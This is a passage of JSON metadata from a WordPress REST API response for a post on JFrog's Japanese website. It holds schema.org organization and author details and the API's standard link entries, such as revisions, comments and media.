globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/ja\/#\/schema\/person\/127781e89771b41280ef104b75dd56b0","name":"shimonot","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/jfrog.com\/ja\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f6e69354047bcce257a5865c9488cf1bcbb182c48c493f44384da23d9a65c5e3?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f6e69354047bcce257a5865c9488cf1bcbb182c48c493f44384da23d9a65c5e3?s=96&d=mm&r=g","caption":"shimonot"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts\/86126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/users\/387"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/comments?post=86126"}],"version-history":[{"count":12,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts\/86126\/revisions"}],"predecessor-version":[{"id":88878,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts\/86126\/revisions\/88878"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/media\/86023"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/media?parent=86126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/categories?post=86126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/tags?post=86126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}